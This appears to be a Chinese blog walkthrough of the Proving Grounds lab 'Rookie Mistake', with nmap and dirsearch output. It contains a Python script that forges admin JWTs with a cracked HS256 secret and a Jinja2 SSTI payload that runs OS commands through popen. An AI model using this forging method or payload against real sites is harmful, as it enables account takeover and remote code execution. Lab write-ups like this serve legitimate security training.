nmap
  1. ┌──(rootkali)-[~/lab]
  2. └─# nmap -p- -A 192.168.189.221
  3. Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-26 00:11 UTC
  4. Stats: 0:01:03 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
  5. Service scan Timing: About 50.00% done; ETC: 00:12 (0:00:17 remaining)
  6. Stats: 0:02:05 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
  7. Service scan Timing: About 50.00% done; ETC: 00:14 (0:01:19 remaining)
  8. Nmap scan report for 192.168.189.221
  9. Host is up (0.071s latency).
  10. Not shown: 65533 closed tcp ports (reset)
  11. PORT STATE SERVICE VERSION
  12. 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
  13. | ssh-hostkey:
  14. | 3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)
  15. | 256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)
  16. |_ 256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)
  17. 8080/tcp open http-proxy Werkzeug/2.1.2 Python/3.8.10
  18. |_http-server-header: Werkzeug/2.1.2 Python/3.8.10
  19. | fingerprint-strings:
  20. | GetRequest:
  21. | HTTP/1.1 200 OK
  22. | Server: Werkzeug/2.1.2 Python/3.8.10
  23. | Date: Tue, 26 Nov 2024 00:12:25 GMT
  24. | Content-Type: text/html; charset=utf-8
  25. | Content-Length: 2469
  26. | Connection: close
  27. | <!DOCTYPE html>
  28. | <html>
  29. | <head>
  30. | <meta charset="UTF-8">
  31. | <title>Mike's upcoming dynamic website!</title>
  32. | <!-- Mobile Specific Meta -->
  33. | <meta name="viewport" content="width=device-width, initial-scale=1.0">
  34. | <!--[if IE]><meta http-equiv='X-UA-Compatible' content='IE=edge,chrome=1'><![endif]-->
  35. | <!-- Bootstrap -->
  36. | <link href="https://learning-zone.github.io/website-templates/indus-free-coming-soon-bootstrap-responsive-template/assets/css/bootstrap.css" rel="stylesheet">
  37. | <!-- Custom stylesheet -->
  38. | <link rel="stylesheet" href="https://learning-zone.github.io/website-templates/indus-free-coming-soon-bootstrap-responsive-template/assets/css/style.css">
  39. | <link rel="styleshe
  40. | HTTPOptions:
  41. | HTTP/1.1 200 OK
  42. | Server: Werkzeug/2.1.2 Python/3.8.10
  43. | Date: Tue, 26 Nov 2024 00:12:25 GMT
  44. | Content-Type: text/html; charset=utf-8
  45. | Allow: HEAD, OPTIONS, GET
  46. | Content-Length: 0
  47. | Connection: close
  48. | RTSPRequest:
  49. | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
  50. | "http://www.w3.org/TR/html4/strict.dtd">
  51. | <html>
  52. | <head>
  53. | <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
  54. | <title>Error response</title>
  55. | </head>
  56. | <body>
  57. | <h1>Error response</h1>
  58. | <p>Error code: 400</p>
  59. | <p>Message: Bad request version ('RTSP/1.0').</p>
  60. | <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
  61. | </body>
  62. |_ </html>
  63. |_http-title: Mike's upcoming dynamic website!
  64. 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
  65. SF-Port8080-TCP:V=7.94SVN%I=7%D=11/26%Time=67451269%P=x86_64-pc-linux-gnu%
  66. SF:r(GetRequest,A54,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.1\.2
  67. SF:\x20Python/3\.8\.10\r\nDate:\x20Tue,\x2026\x20Nov\x202024\x2000:12:25\x
  68. SF:20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length
  69. SF::\x202469\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html>\n\x
  70. SF:20\x20<head>\x20\x20\x20\x20\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\
  71. SF:">\n\x20\x20\x20\x20<title>Mike's\x20upcoming\x20dynamic\x20website!</t
  72. SF:itle>\n\x20\x20\x20\x20\n\x20\x20\x20\x20<!--\x20Mobile\x20Specific\x20
  73. SF:Meta\x20-->\x20\x20\x20\n\x20\x20\x20\x20<meta\x20name=\"viewport\"\x20
  74. SF:content=\"width=device-width,\x20initial-scale=1\.0\">\n\x20\x20\x20\x2
  75. SF:0<!--\[if\x20IE\]><meta\x20http-equiv='X-UA-Compatible'\x20content='IE=
  76. SF:edge,chrome=1'><!\[endif\]-->\n\n\x20\x20\x20\x20<!--\x20Bootstrap\x20-
  77. SF:->\n\x20\x20\x20\x20<link\x20href=\"https://learning-zone\.github\.io/w
  78. SF:ebsite-templates/indus-free-coming-soon-bootstrap-responsive-template/a
  79. SF:ssets/css/bootstrap\.css\"\x20rel=\"stylesheet\">\n\n\x20\x20\x20\x20<!
  80. SF:--\x20Custom\x20stylesheet\x20-->\n\x20\x20\x20\x20<link\x20rel=\"style
  81. SF:sheet\"\x20href=\"https://learning-zone\.github\.io/website-templates/i
  82. SF:ndus-free-coming-soon-bootstrap-responsive-template/assets/css/style\.c
  83. SF:ss\">\x20\n\x20\x20\x20\x20<link\x20rel=\"styleshe")%r(HTTPOptions,C7,"
  84. SF:HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.1\.2\x20Python/3\.8\.1
  85. SF:0\r\nDate:\x20Tue,\x2026\x20Nov\x202024\x2000:12:25\x20GMT\r\nContent-T
  86. SF:ype:\x20text/html;\x20charset=utf-8\r\nAllow:\x20HEAD,\x20OPTIONS,\x20G
  87. SF:ET\r\nContent-Length:\x200\r\nConnection:\x20close\r\n\r\n")%r(RTSPRequ
  88. SF:est,1F4,"<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x204\.01/
  89. SF:/EN\"\n\x20\x20\x20\x20\x20\x20\x20\x20\"http://www\.w3\.org/TR/html4/s
  90. SF:trict\.dtd\">\n<html>\n\x20\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\x20
  91. SF:\x20\x20<meta\x20http-equiv=\"Content-Type\"\x20content=\"text/html;cha
  92. SF:rset=utf-8\">\n\x20\x20\x20\x20\x20\x20\x20\x20<title>Error\x20response
  93. SF:</title>\n\x20\x20\x20\x20</head>\n\x20\x20\x20\x20<body>\n\x20\x20\x20
  94. SF:\x20\x20\x20\x20\x20<h1>Error\x20response</h1>\n\x20\x20\x20\x20\x20\x2
  95. SF:0\x20\x20<p>Error\x20code:\x20400</p>\n\x20\x20\x20\x20\x20\x20\x20\x20
  96. SF:<p>Message:\x20Bad\x20request\x20version\x20\('RTSP/1\.0'\)\.</p>\n\x20
  97. SF:\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code\x20explanation:\x20HTTPSta
  98. SF:tus\.BAD_REQUEST\x20-\x20Bad\x20request\x20syntax\x20or\x20unsupported\
  99. SF:x20method\.</p>\n\x20\x20\x20\x20</body>\n</html>\n");
  100. No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
  101. TCP/IP fingerprint:
  102. OS:SCAN(V=7.94SVN%E=4%D=11/26%OT=22%CT=1%CU=38022%PV=Y%DS=4%DC=T%G=Y%TM=674
  103. OS:512D1%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=A
  104. OS:)OPS(O1=M578ST11NW7%O2=M578ST11NW7%O3=M578NNT11NW7%O4=M578ST11NW7%O5=M57
  105. OS:8ST11NW7%O6=M578ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88
  106. OS:)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M578NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+
  107. OS:%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
  108. OS:T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A
  109. OS:=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPC
  110. OS:K=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
  111. Network Distance: 4 hops
  112. Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  113. TRACEROUTE (using port 143/tcp)
  114. HOP RTT ADDRESS
  115. 1 70.00 ms 192.168.45.1
  116. 2 69.98 ms 192.168.45.254
  117. 3 70.96 ms 192.168.251.1
  118. 4 71.02 ms 192.168.189.221
  119. OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  120. Nmap done: 1 IP address (1 host up) scanned in 155.39 seconds
dirsearch
  1. [00:14:59] Starting:
  2. [00:15:42] 308 - 253B - /edit -> http://192.168.189.221:8080/edit/
  3. [00:15:55] 308 - 255B - /login -> http://192.168.189.221:8080/login/
  4. [00:15:55] 200 - 3KB - /login/
  5. [00:16:16] 308 - 257B - /signup -> http://192.168.189.221:8080/signup/

访问8080首页就可以发现很有意思的提示



他说这个站点是他要python flask 结合jwt写的测试站

更具dirsearch 扫到的结果发现了 注册页面

随便注册个用户

这个页面比较有意思 /edit 但是咱们现在还没登录 所以改密码他会显示token错误

进入login界面进行登录看看

我先尝试了admin用户 他会说用户不存在 这个点可以用来枚举用户



尝试登录刚刚自己的注册账号 显示成功

第一反应是jwt结合sql注入 或者ssti



尝试了无加密算法绕过 不行

看来要找到秘钥才能改写密码了

尝试爆破jwt秘钥

写了一个生成jwt的脚本这里我们尝试将用户名改成admin 看看回显是否会变成admin
  1. import sys
  2. import hmac
  3. import hashlib
  4. import base64
  5. import json
  6. import requests
  7. username = str("brian")
  8. secret_key = "ilovejwt"
  9. header = json.dumps({"typ":"JWT","alg":"HS256"}).replace(" ","").encode()
  10. #要去除空格
  11. payload = json.dumps({"username":"admin","public_id":"dbbf960e-d509-4f97-9a00-d8358ac69375","exp":1732586339}
  12. ).replace(" ","").encode()
  13. b64_header = base64.urlsafe_b64encode(header).decode().rstrip("=")
  14. b64_payload = base64.urlsafe_b64encode(payload).decode().rstrip("=")
  15. signature = hmac.new(
  16. key=secret_key.encode(),
  17. msg=f'{b64_header}.{b64_payload}'.encode(),
  18. digestmod=hashlib.sha256
  19. ).digest()
  20. JWT = f'{b64_header}.{b64_payload}.{base64.urlsafe_b64encode(signature).decode()}'
  21. # COOKIES = {
  22. # 'session': JWT.rstrip("=")
  23. # }
  24. #
  25. # headers = {
  26. # 'Host': 'scarlet.local'
  27. # }
  28. # rese = requests.get("http://scarlet.local/portal", cookies = COOKIES, headers=headers)
  29. print(JWT.rstrip("="))

可以看到成功修改
![image](https://img2024.cnblogs.com/blog/3376478/202411/3376478-20241126094424865-940503671.png)

实现了用户伪造

那么接下来我们看看有无sql注入漏洞以及ssti

sql注入测试过滤完全没有

接下来尝试ssti

将username改成{{7*7}}



发现成功执行了

那接下来就好办了 这就是个标准的ssti注入

发现可rce代码

{{ config.__class__.from_envvar.__globals__.__builtins__.__import__('os').popen('ls').read() }}

但是他靶场又出问题了

按道理我们已经可以随意执行代码了但是 各种反弹shell都不管用 而且只能执行单一命令连 ls -al都执行不了我就不知道出啥问题了

我按照官方wp走一遍也不行

太多问题了这靶场不过总体思路明白了不错

Rookie Mistake pg walkthrough Intermediate jwt+ssti的更多相关文章

  1. HACK TEH BOX - Under Construction(JWT密钥混淆 + SQL注入)

    HACK TEH BOX - Under Construction(JWT密钥混淆 + SQL注入) 目录 1. JWT密钥混淆 2. 环境 3. Challenge 4. Walkthrough 1 ...

  2. <老友记>学习笔记

    这是六个人的故事,从不服输而又有强烈控制欲的monica,未经世事的千金大小姐rachel,正直又专情的ross,幽默风趣的chandle,古怪迷人的phoebe,花心天真的joey——六个好友之间的 ...

  3. Keras vs. PyTorch in Transfer Learning

    We perform image classification, one of the computer vision tasks deep learning shines at. As traini ...

  4. How to Tell Science Stories with Maps

    Reported Features How to Tell Science Stories with Maps August 25, 2015   Greg Miller This map, part ...

  5. JWT原理 使用(入门篇)

    1.JWT简介 JWT:Json Web Token,是基于Json的一个公开规范,这个规范允许我们使用JWT在用户和服务器之间传递安全可靠的信息,他的两大使用场景是:认证和数据交换 使用起来就是,由 ...

  6. SpringBoot 2.x 使用 JWT(JSON Web Token)

    一.跨域认证遇到的问题 由于多终端的出现,很多的站点通过 web api restful 的形式对外提供服务,采用了前后端分离模式进行开发,因而在身份验证的方式上可能与传统的基于 cookie 的 S ...

  7. SpringSecurity权限管理系统实战—六、SpringSecurity整合jwt

    目录 SpringSecurity权限管理系统实战-一.项目简介和开发环境准备 SpringSecurity权限管理系统实战-二.日志.接口文档等实现 SpringSecurity权限管理系统实战-三 ...

  8. 入门 - SpringBoot 2.x 使用 JWT

    JSON Web Token(缩写 JWT)是目前最流行的跨域认证解决方案,本文介绍它的原理和用法 一.跨域认证遇到的问题 由于多终端的出现,很多的站点通过 web api restful 的形式对外 ...

  9. 简析服务端通过GT导入SHP至PG的方法

    文章版权由作者李晓晖和博客园共有,若转载请于明显处标明出处:http://www.cnblogs.com/naaoveGIS/ 1.背景 项目中需要在浏览器端直接上传SHP后服务端进行数据的自动入PG ...

  10. 看图理解JWT如何用于单点登录

    单点登录是我比较喜欢的一个技术解决方案,一方面他能够提高产品使用的便利性,另一方面他分离了各个应用都需要的登录服务,对性能以及工作量都有好处.自从上次研究过JWT如何应用于会话管理,加之以前的项目中也 ...

随机推荐

  1. 接口自动化测试框架【python+requests+pytest+excel/yaml+allure+jenkins】

    一.在整个框架中需要用到哪些东西? 1.python环境安装 https://www.python.org/downloads/windows/ 下载解压后直接安装,选择 Add python to ...

  2. 十分钟配置完成Go开发环境

    本文介绍了GO环境搭建以及GOPATH.GOROOT等基本概念,希望让你少走弯路 SDK下载 如果要使用Golang,我们首先要安装Golang的SDK开发包 Golang是网友给Go语言起的另一个称 ...

  3. 报错处理TypeError: can't multiply sequence by non-int of type 'float'

    在练习格式化输出时出现错误TypeError: can't multiply sequence by non-int of type 'float' 为什么会出现TypeError:不能将序列乘以'f ...

  4. vue-elementui中el-table跨页选择和v-if导致列错乱/选择框无法显示

    在vue-elementui中使用el-table,当type="selection"的时候,分页数据进行不同页跳转选择 需要这种功能的时候我们需要在el-table的标签上为每个 ...

  5. 敏捷开发:Sprint Planning 冲刺计划会议详细介绍和用户故事拆分、开发任务细分

    Sprint Planning 冲刺计划会议简介 Sprint Planning (冲刺计划会议),又叫规划会议.此会议通过 Scrum 团队的集体沟通讨论,确定接下来的 Sprint 中要完成的待开 ...

  6. Git之message提交

    作用 编写格式化的 commit message 能够大大提高代码的维护效率. 比如: 可以提供更多的历史信息,方便快速浏览: 可以过滤某些 commit(比如文档改动),便于快速查找信息: 可以直接 ...

  7. kali 安装 shodan

    声明! 学习视频来自B站up主 泷羽sec 有兴趣的师傅可以关注一下,如涉及侵权马上删除文章,笔记只是方便各位师傅的学习和探讨,文章所提到的网站以及内容,只做学习交流,其他均与本人以及泷羽sec团队无 ...

  8. Astro Zen Blog |一个优雅、极简、强大的博客

    介绍 Astro Zen 博客项目 如果你想部署一个自己的静态博客,又不想到处折腾,并且是熟悉的前端技术栈,你可以尝试下:Astro Zen Blog! Astro Zen Blog 是一个使用 As ...

  9. Postman无法启动

    前情 最近在捣鼓node.js,需要一个接口测试工具,而Postman是业界有名的接口测试工具,自然接口测试就用它了. 坑 已经有一段时间没启动Postman了,突然发现启动一直卡在修复界面,重启也不 ...

  10. echarts 图表设置默认选中

    echarts:https://echarts.apache.org/zh/api.html#events.legendselected tfjy1997:https://blog.csdn.net/ ...